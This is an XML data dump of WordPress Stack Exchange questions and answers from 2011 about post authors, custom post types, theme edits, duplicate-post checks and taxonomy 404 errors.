  <row Id="19734" PostTypeId="2" ParentId="19728" CreationDate="2011-06-10T18:54:34.677" Score="0" ViewCount="" Body="&lt;p&gt;As you haven't stated your requirements of People type and Project type. So I am assuming that you must have both as a post type. To create relations between them you can use @scribu's &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Post 2 Post&lt;/a&gt; relations plugin.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-10T18:54:34.677" CommentCount="1" />
  <row Id="19735" PostTypeId="1" AcceptedAnswerId="19739" CreationDate="2011-06-10T19:02:17.513" Score="0" ViewCount="54" Body="&lt;p&gt;I'm using php to dynamically create a custom post, and I need the author to be someone other than the logged in user. I found this &lt;a href=&quot;http://stackoverflow.com/questions/5759359/wordpress-manually-set-the-author-of-a-post-in-php&quot;&gt;http://stackoverflow.com/questions/5759359/wordpress-manually-set-the-author-of-a-post-in-php&lt;/a&gt; but I'm wondering if there is a way to do it after the post is already inserted. I guess I could just do a db query...&lt;/p&gt;&#xA;" OwnerUserId="4229" LastActivityDate="2011-06-10T21:16:56.567" Title="how can I set the post author of a post I just created with php?" Tags="&lt;author&gt;&lt;wp-insert-post&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19736" PostTypeId="2" ParentId="7757" CreationDate="2011-06-10T19:19:15.783" Score="0" ViewCount="" Body="&lt;p&gt;Why not just go to &lt;code&gt;Dashboard -&amp;gt; Media -&amp;gt; Library&lt;/code&gt;? From there, you can see &lt;em&gt;every&lt;/em&gt; image in the Media Library, and can perform some bulk operations, etc.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-10T19:19:15.783" CommentCount="0" />
  <row Id="19737" PostTypeId="2" ParentId="19728" CreationDate="2011-06-10T19:25:00.883" Score="0" ViewCount="" Body="&lt;p&gt;Am using the &lt;a href=&quot;http://www.zigpress.com/wordpress/plugins/zigconnect/&quot; rel=&quot;nofollow&quot;&gt;zigconnect&lt;/a&gt; plugin on a site where 3 custom post types are related to each other. I got clients, events and products and with this plugin i can do the links within the wp admin very easilly. Here's the &lt;a href=&quot;http://netbureau.com.br/avbrazil/site/eventos/&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt; in construction for a demo.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-06-10T19:25:00.883" CommentCount="1" />
  <row Id="19738" PostTypeId="2" ParentId="13063" CreationDate="2011-06-10T19:39:07.807" Score="-1" ViewCount="" Body="&lt;h3&gt;How to inspect the data:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Use this to get an insight view of what you can use from the current request/wp_query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function inspect_wp_query() &#xA;{&#xA;  echo '&amp;lt;pre&amp;gt;';&#xA;    print_r($GLOBALS['wp_query'])&#xA;  echo '&amp;lt;/pre&amp;gt;';&#xA;}&#xA;// If you're looking at other variables you might need to use different hooks&#xA;// this can sometimes be a little tricky.&#xA;// Take a look at the Action Reference: http://codex.wordpress.org/Plugin_API/Action_Reference&#xA;add_action( 'template_redirect' ); // Query on public facing pages&#xA;add_action( 'admin_notices' ); // Query in admin UI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Btw: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // this:&#xA;    global $wp_query;&#xA;    $wp_query;&#xA;    // is the same as&#xA;    $wp_query;&#xA;    // and as this:&#xA;    $GLOBALS['wp_query'];&#xA;&#xA;// You can do this with each other global var too, like $post, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;How to actually get the data:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Example (not the best one)&#xA;(Object) WP_Query -&amp;gt; post (stdClass) -&amp;gt; postdata (Array)&#xA;&#xA;// How to get the data:&#xA;// Save object into var&#xA;$my_data = new WP_Query; // on a new object&#xA;// or on the global available object from the current request&#xA;$my_data = $GLOBALS['wp_query'];&#xA;&#xA;// get object/stdClass &quot;post&quot;&#xA;$my_post_data = $my_data-&amp;gt;post;&#xA;// get Array&#xA;$my_post_data = $my_data['post'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;Examples&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/13450/list-all-sidebar-names/13453#13453&quot;&gt;List all sidebar names?&lt;/a&gt;&lt;br&gt;&#xA;(Generate a drop down/select object with all sidebars inside the &lt;code&gt;global $wp_registered_sidebars&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-10T19:39:07.807" CommunityOwnedDate="2011-06-10T19:39:07.807" />
  <row Id="19739" PostTypeId="2" ParentId="19735" CreationDate="2011-06-10T19:42:18.540" Score="2" ViewCount="" Body="&lt;p&gt;If you know the ID of the author you can use wp_insert_post specifying the ID and the author ID to it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$aidi = $post-&amp;gt;ID; // change this to whathever&#xA;$useraidi = '4'; // change this too&#xA;&#xA;$tehpost = array();&#xA;$tehpost['ID'] = $aidi;&#xA;$tehpost['post_author'] = $useraidi;&#xA;&#xA;wp_insert_post( $tehpost );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The trick is to specify the ID to update the post. See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_insert_post&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6099" LastEditorUserId="6099" LastEditorDisplayName="" LastEditDate="2011-06-10T21:16:56.567" LastActivityDate="2011-06-10T21:16:56.567" CommentCount="5" />
  <row Id="19741" PostTypeId="1" CreationDate="2011-06-10T19:48:37.397" Score="1" ViewCount="27" Body="&lt;p&gt;Guessing the answer is no, but just wondering if there's a way to tell how popular a theme is.&lt;/p&gt;&#xA;" OwnerUserId="6098" LastActivityDate="2011-06-10T20:02:24.047" Title="How do I tell how popular a theme is?" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="19742" PostTypeId="1" CreationDate="2011-06-10T19:59:29.567" Score="0" ViewCount="47" Body="&lt;p&gt;I'm trying to find a theme which is fully internationalized. I've perused the list of translation-ready themes in the theme gallery, but each one seems to be missing some little detail here and there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only really, really fully translated theme seems to be Twenty Ten. Not that I dislike it too much, but there's a lot of redundancy and duplication in the CSS, so even simple customization is a great pain. I've already been there, and I'm not very eager to go back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, are there any other options available? Where do I find fully-internationalized themes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: More specifically, I need themes with a full French translation already available.&lt;/p&gt;&#xA;" OwnerUserId="5259" LastEditorUserId="5259" LastEditorDisplayName="" LastEditDate="2011-06-10T21:29:11.537" LastActivityDate="2011-06-10T21:29:11.537" Title="Where do I find (free) fully-internationalized themes?" Tags="&lt;themes&gt;&lt;translation&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19743" PostTypeId="2" ParentId="19741" CreationDate="2011-06-10T20:02:24.047" Score="1" ViewCount="" Body="&lt;p&gt;Assuming that you are talking about commercial/premium themes the obvious answer is Google WordPress (theme name) and compare the results. A popular theme would likely have more results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress.org &lt;a href=&quot;http://wordpress.org/extend/themes/browse/popular/&quot; rel=&quot;nofollow&quot;&gt;lists the theme's it contains&lt;/a&gt; according to how many times they have been downloaded.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-10T20:02:24.047" CommentCount="3" />
  <row Id="19744" PostTypeId="1" AcceptedAnswerId="19745" CreationDate="2010-08-06T12:10:11.573" Score="2" ViewCount="250" Body="&lt;p&gt;I just upgraded to the latest Wordpress and activated this theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It displays the following&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Hello world!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Posted on May 27, 2010 by admin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posted in Uncategorized  | 1 Comment | Edit&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Is there an option to remove the Posted on and Posted in ?&lt;/p&gt;&#xA;" OwnerUserId="996" LastActivityDate="2011-06-10T20:17:35.813" Title="Remove &quot;Posted on&quot; and &quot;Posted in&quot; from the Twenty Ten Theme" Tags="&lt;untagged&gt;" AnswerCount="2" />
  <row Id="19745" PostTypeId="2" ParentId="19744" CreationDate="2010-08-06T14:38:45.947" Score="2" ViewCount="" Body="&lt;p&gt;I don't think there is an &lt;strong&gt;option&lt;/strong&gt; to do that. You can edit the theme to remove those elements, but then you will have a problem when the theme gets updated (pretty frequently for &lt;em&gt;Twenty Ten&lt;/em&gt; right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you did want to do it, you have three ways to do it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can edit PHP files for the presentation (e.g. loop.php) under Appearance/Editor and delete the whole section responsible for it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can edit functions.php that contains twentyten_posted_on and twentyten_posted_in functions to stub them out to return nothing&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can edit CSS to make corresponding classes (entry-meta and entry-utility I believe) to be invisible. WordPress still has to do all work and it is still there in source code, but it could be the faster option. You could even use FireBug to test whether the display will look correct when you remove those.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are better and more esoteric ways to do it (child themes), but I am not sure I could describe it in a text box.&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2011-06-10T19:41:10.437" />
  <row Id="19746" PostTypeId="2" ParentId="19732" CreationDate="2011-06-10T20:07:17.313" Score="0" ViewCount="" Body="&lt;p&gt;To save the link in the post meta you can use &lt;code&gt;update_post_meta&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = &quot;http://sample.com/entertainment/default.aspx?tabid=2305&amp;amp;conid=102950&quot;&#xA;$my_post = array(&#xA;'post_title' =&amp;gt; &quot;$title&quot;,&#xA;'post_content' =&amp;gt; &quot;$content&quot;,&#xA;'post_status' =&amp;gt; 'draft',&#xA;'post_author' =&amp;gt; 1,&#xA;'post_category' =&amp;gt; array(1),&#xA;);&#xA;$post_id =  wp_insert_post( $my_post );&#xA;update_post_meta($post_id,'source_link',$url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to prevent the insertion add a simple conditional check:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&quot;meta_key&quot; =&amp;gt; &quot;source_link&quot;, &quot;meta_value&quot; =&amp;gt;$url);&#xA;$posts = get_posts($args);&#xA;if (count($posts) &amp;lt; 0){&#xA;//add new post&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-10T20:07:17.313" CommentCount="1" />
  <row Id="19747" PostTypeId="2" ParentId="19742" CreationDate="2011-06-10T20:13:07.657" Score="1" ViewCount="" Body="&lt;p&gt;check out the automattic themes svn repository which holds about 108 that all should be internationalization (big word) ready&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://wpcom-themes.svn.automattic.com/&quot; rel=&quot;nofollow&quot;&gt;https://wpcom-themes.svn.automattic.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-10T20:13:07.657" CommentCount="2" />
  <row Id="19748" PostTypeId="2" ParentId="19732" CreationDate="2011-06-10T20:16:14.393" Score="0" ViewCount="" Body="&lt;p&gt;Maybe if you use something like a wpdb query including the wp_posts and wp_postmeta searching this meta before inserting the post...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$string = 'the_url.html';&#xA;$output = $wpdb-&amp;gt;get_var($wpdb-&amp;gt;prepare(&quot;SELECT count(id)&#xA;            FROM $wpdb-&amp;gt;posts wpo, $wpdb-&amp;gt;postmeta wpm&#xA;            WHERE wpo.ID = wpm.post_id&#xA;            AND wpm.meta_key = 'name_of_ur_meta'&#xA;            AND wpm.meta_value = '$string'&quot;));      &#xA;&#xA;if(empty($output)) {&#xA;    /* Insert your post */&#xA;    } else {&#xA;            /* Update the post or do other thing */&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6099" LastActivityDate="2011-06-10T20:16:14.393" CommentCount="1" />
  <row Id="19749" PostTypeId="2" ParentId="19744" CreationDate="2011-06-10T20:17:35.813" Score="0" ViewCount="" Body="&lt;p&gt;(1). Look for this in the theme's functions.php:&#xA;function twentyten_posted_on() { printf( __( 'Posted on %2$s by %3$s', 'twentyten' ),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2). Removing it from single.php,for example, will only remove when you are viewing an individual post. You need to remove the unwanted stuff from loop.php as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(3).  You may add this code to style.css under &quot;/* =Content&quot; to remove: Posted by, Posten on, Posted in and comments. Much more simple. Code: .post .entry-utility, .post .entry-meta {display:none;} &lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-06-10T20:17:35.813" />
  <row Id="19750" PostTypeId="1" CreationDate="2011-06-10T22:30:25.330" Score="1" ViewCount="47" Body="&lt;p&gt;Is possible to redirect category to first available child post please? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6102" LastActivityDate="2011-07-05T08:22:22.773" Title="Redirect category to first available child post" Tags="&lt;categories&gt;&lt;redirect&gt;" AnswerCount="1" />
  <row Id="19751" PostTypeId="1" CreationDate="2011-06-10T22:58:20.893" Score="1" ViewCount="105" Body="&lt;p&gt;I wanted to do an image gallery in a post, where the linked image (a href) was different from the thumbnail's src.  Unfortunately, WP seems completely incapable of doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I put the large image in the gallery, I can't specify a custom thumbnail.  If I put the thumbnail in the gallery, I can't link the large image since &quot;Link URL&quot; appears to be broken.  If I change the &quot;Link URL&quot; and then click &quot;Save All Changes,&quot; it ignores whatever changes I make in the &quot;Link URL&quot; text box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there appears that there is no way to do this from the front end (which seems ridiculous?), I went looking through my web site's directories in an attempt to find where the blog posts are stored, but they're not on &quot;/wp/&quot; nor &quot;/wp/wp-content&quot;, so I'm sort of stumped here!&lt;/p&gt;&#xA;" OwnerUserId="1573" LastEditorUserId="1573" LastEditorDisplayName="" LastEditDate="2011-06-11T01:42:21.550" LastActivityDate="2011-06-11T04:26:18.683" Title="How do I use two different images, one as a thumbnail and one as a linked image?" Tags="&lt;gallery&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="19752" PostTypeId="2" ParentId="4261" CreationDate="2011-06-11T00:01:42.430" Score="2" ViewCount="" Body="&lt;p&gt;**Updated snippet: had been using global $post ID and not the passed in ID, so it would take a couple updates before the meta tag was added to content images. Now it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I needed a similar solution and following on from Jan Fabry's suggestions I came up with a function (admittedly inelegant, but it works):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /* Add meta value to distinguish inserted images from other attached images - lionassociates.com */&#xA;&#xA;    function insertedImage_save_meta($post_id) {&#xA;        $upPost = get_post($post_id);&#xA;&#xA;        $rawPostDoc = new DOMDocument();&#xA;        @$rawPostDoc-&amp;gt;loadHTML($upPost-&amp;gt;post_content);                     &#xA;        $imgs = $rawPostDoc-&amp;gt;getElementsByTagName('img');&#xA;        $i = 0;&#xA;        foreach($imgs as $img){&#xA;            $imgIDStr = substr($img-&amp;gt;getAttribute('class'), (stripos($img-&amp;gt;getAttribute('class'),'wp-image-')+9), 6);&#xA;            $imgID = preg_replace(&quot;[^0-9]&quot;, '', $imgIDStr);&#xA;            if($imgID != '') {&#xA;                if(get_post_meta($imgID, '_inserted-image', false))&#xA;                    update_post_meta($imgID, '_inserted-image', 'yes');&#xA;                else&#xA;                    add_post_meta($imgID, '_inserted-image', 'yes');&#xA;            }&#xA;            $i++;    &#xA;        }&#xA;    }&#xA;    /* Do something with the data entered */&#xA;    add_action('save_post', 'insertedImage_save_meta');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that gets pasted into (functions.php). Then I use the attachments meta value in a loop wherever I'm spitting out my images (per Jan Fabry):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $imgs = get_posts(array('post_parent'=&amp;gt;get_the_id(), 'numberposts'=&amp;gt;-1, 'post_type'=&amp;gt;'attachment', 'post_mime_type'=&amp;gt;'image'));&#xA;    if($imgs[0]) {&#xA;        foreach($imgs as $img) {&#xA;            if(!get_post_meta($img-&amp;gt;ID, '_inserted-image', true))&#xA;            echo wp_get_attachment_image($img-&amp;gt;ID, 'sec-slide'); //'sec-slide' is just the name of a custom image size&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This spits out all the attached images that are not inserted into the post content.&lt;/p&gt;&#xA;" OwnerUserId="6103" LastEditorUserId="6103" LastEditorDisplayName="" LastEditDate="2011-06-17T21:18:18.270" LastActivityDate="2011-06-17T21:18:18.270" />
  <row Id="19753" PostTypeId="1" CreationDate="2011-06-11T00:24:33.877" Score="1" ViewCount="36" Body="&lt;p&gt;I'm working on a recipe site that has a custom post type, recipes, with two custom taxonomies for handling recipe categories and tags. The custom post type works and so does the custom taxonomy for the categories, i.e. i can access individual posts and category pages. However, when I try to access a custom taxonomy tag page, I get the wordpress 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really know how to troubleshoot this since wordpress isn't giving me any useful error codes. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="6104" LastActivityDate="2011-08-10T16:21:59.933" Title="I can't access the pages for my custom taxonomy" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="19754" PostTypeId="1" CreationDate="2011-06-11T00:27:54.263" Score="-2" ViewCount="61" Body="&lt;p&gt;I want two full columns after the header and main menu bar on my index page. Seems simple, but googling and prowling the wordpress.org site hasn't gotten me anywhere. Short explanation + a link to relevant section of TFM to R would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6105" LastEditorUserId="6105" LastEditorDisplayName="" LastEditDate="2011-06-11T05:17:37.683" LastActivityDate="2011-06-11T05:17:37.683" Title="How to have two column on my index page?" Tags="&lt;columns&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19755" PostTypeId="2" ParentId="19753" CreationDate="2011-06-11T01:32:12.123" Score="0" ViewCount="" Body="&lt;p&gt;I've run into odd issues with 404's around custom post types/taxonomies. Try hitting save again on the blog permalinks settings page. Strange as it sounds that cleared up my issues.&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-06-11T01:32:12.123" CommentCount="2" />
  <row Id="19756" PostTypeId="2" ParentId="19754" CreationDate="2011-06-11T01:37:42.323" Score="0" ViewCount="" Body="&lt;p&gt;It depends on the theme you are using. The index.php file in your theme applies to your home page. So if you change the HTML structure in there to be 3 columns, your home page should be 3 columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be careful though because index.php will also apply in some cases beyond the home page. Take a look at the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt; for the order of precedence theme files are matched on for any given request. &lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-06-11T01:37:42.323" CommentCount="1" />
  <row Id="19758" PostTypeId="2" ParentId="19733" CreationDate="2011-06-11T01:43:15.517" Score="1" ViewCount="" Body="&lt;p&gt;I recently wrote up a post about &lt;a href=&quot;http://beacon.wharton.upenn.edu/davekonopka/2011/06/automating-wordpress-deployment-with-capistrano/&quot; rel=&quot;nofollow&quot;&gt;deploying an entire WordPress site&lt;/a&gt; with a few custom plugins and theme to multiple servers using Capistrano. You could probably do the same for just the single plugin repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a bunch of good posts out there for the &lt;a href=&quot;http://whomwah.com/2009/02/01/deploying-wordpress-to-slicehost-using-capistrano-and-git/&quot; rel=&quot;nofollow&quot;&gt;step-by-step details on getting Capistrano going for WordPress&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-06-11T01:43:15.517" CommentCount="1" />
  <row Id="19759" PostTypeId="2" ParentId="19689" CreationDate="2011-06-11T01:50:13.363" Score="1" ViewCount="" Body="&lt;p&gt;WP_DEBUG has no impact on PHP error output. In addition to error_reporting setting, set display_errors=0 in your php.ini file. It's enabled by default for development. But you'll want it off on production servers.&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-06-11T01:50:13.363" CommentCount="2" />
  <row Id="19761" PostTypeId="1" AcceptedAnswerId="19762" CreationDate="2011-06-11T03:57:13.130" Score="0" ViewCount="64" Body="&lt;p&gt;How would I do this? &#xA;archive.php only has this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_archives('type=monthly');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And wp_get_archives() does not have a parameter to display all post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I think archive-[post_type].php is not the one I am looking for since I want all post types to be displayed in one archive page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;W&lt;/p&gt;&#xA;" OwnerUserId="3892" LastActivityDate="2011-06-11T04:09:42.930" Title="Wordress: Display all custom post types in archives.php" Tags="&lt;custom-post-types&gt;&lt;archive&gt;&lt;wp-get-archives&gt;" AnswerCount="1" />
  <row Id="19762" PostTypeId="2" ParentId="19761" CreationDate="2011-06-11T04:09:42.930" Score="3" ViewCount="" Body="&lt;p&gt;If you set up the right parameters for your custom post type using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'has_archive' =&amp;gt; true // Will use the post type slug, ie. example&#xA;// or &#xA;'has_archive' =&amp;gt; 'my-example-archive' // Explicitly setting the archive slug&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-06-11T04:09:42.930" />
  <row Id="19763" PostTypeId="2" ParentId="19733" CreationDate="2011-06-11T04:15:46.533" Score="2" ViewCount="" Body="&lt;p&gt;Have a look at this , it's a github supported theme updater, would be very easy to make it plugin friendly I figure.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/theme-updater/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/theme-updater/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-06-11T04:15:46.533" CommentCount="1" />
  <row Id="19764" PostTypeId="2" ParentId="19751" CreationDate="2011-06-11T04:21:02.977" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Unfortunately, WP seems completely incapable of doing this......&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A lit bit sensational? Just because you don't know how to do it doesn't mean WordPress cannot do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First many (if not most) themes do this by default, when you insert your image into a post ( in media gallery) you can choose thumbnails which will link to the larger image versions. By default there are 3 sizes, you can add more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Using_Images&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Using_Images&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should look at these links for more advanced use for starters, but I have my doubts you will understand this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Post_Thumbnails&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Post_Thumbnails&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_image_size&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/set_post_thumbnail_size&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/set_post_thumbnail_size&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;WordPress uses MySQL, your blog posts are stored in a database not a directory...your images are stores in the /uploads folder based on date, you can change this setting in your admin.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-06-11T04:26:18.683" LastActivityDate="2011-06-11T04:26:18.683" />
  <row Id="19765" PostTypeId="2" ParentId="19696" CreationDate="2011-06-11T04:43:24.463" Score="1" ViewCount="" Body="&lt;p&gt;Check your plugins !, so far this year there have been 60 exploit releases from .org plugins, I would suspect the real number to be much higher since no one is really doing this full time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You listed that you only have one plugin, well it had a security hole (not sure how long it was out, and it might not be the vector).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;wp-recaptcha-plugin&lt;br&gt;&#xA;  The exploit was released:  2011-03-18&lt;br&gt;&#xA;  Exploit version: 2.9.8  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The author stated he rewrote with version 3.0, but there is no mention of the security patch.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wpsecure.net/2011/03/wp-recaptcha-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://www.wpsecure.net/2011/03/wp-recaptcha-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change log: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-recaptcha/changelog/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-recaptcha/changelog/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-06-11T13:00:03.410" LastActivityDate="2011-06-11T13:00:03.410" />
  <row Id="19766" PostTypeId="2" ParentId="19696" CreationDate="2011-06-11T05:50:21.247" Score="1" ViewCount="" Body="&lt;p&gt;I use a cloud server and have random wacky ssh port numbers no ftp at all. Passwords are extremely difficult to hack. All root access is completely denied. I agree that WordPress is not going to be your culprit. Another thing to check for is ftp sessions not closing, virus on your personal computer(remember you can up load a file to your site and who ever loads that file can get the same virus), also dont keep your passwords on public sites or private sites always right them down on paper never on a word document or notepad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly ask your host if they recently had a breach as they should have a firewall setup&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-11T05:50:21.247" />
  <row Id="19767" PostTypeId="1" CreationDate="2011-06-11T06:06:39.397" Score="0" ViewCount="25" Body="&lt;p&gt;I have a product store site developed in Wordpress, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is 1 Category that uses tpl-category.php. Category has a title and will be shown in Menu, or if it is shown in template page it will list all the names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and 4 level of subcategories that uses tpl-subcategory.php. Subcategory page contains a thumbnail and a title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and product that uses tpl-product.php. This contains all the details , specification of the product and some jquery things.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Category (required)&#xA;    |&#xA;    |____Subcategory1 (required)&#xA;         |&#xA;         |______Subcategory2 (optional)&#xA;                |&#xA;                |__________ subCategory3 (optional)&#xA;                           |&#xA;                           |________________ Subcategory4 (optional)&#xA;                                           | &#xA;                                           |_______ Products (required)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Category, subcategory and product are uploaded from a csv and inserted into wp_posts and wp_postmeta with template name also. It is working fine while there is 6 level of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem:&#xA;If i have only 3 level of data like category, subcategory1 and product, it breaks while viewing. Products move up and show in subcategory template. So, if any of the optional subcategory is blank, products move up one level and shows up in subcategory template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still can't figure what might be the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help (will be most welcome).&lt;/p&gt;&#xA;" OwnerUserId="6109" LastActivityDate="2011-06-11T06:06:39.397" Title="Wordpress -- Problem while using custom page template" Tags="&lt;page-template&gt;" CommentCount="1" />
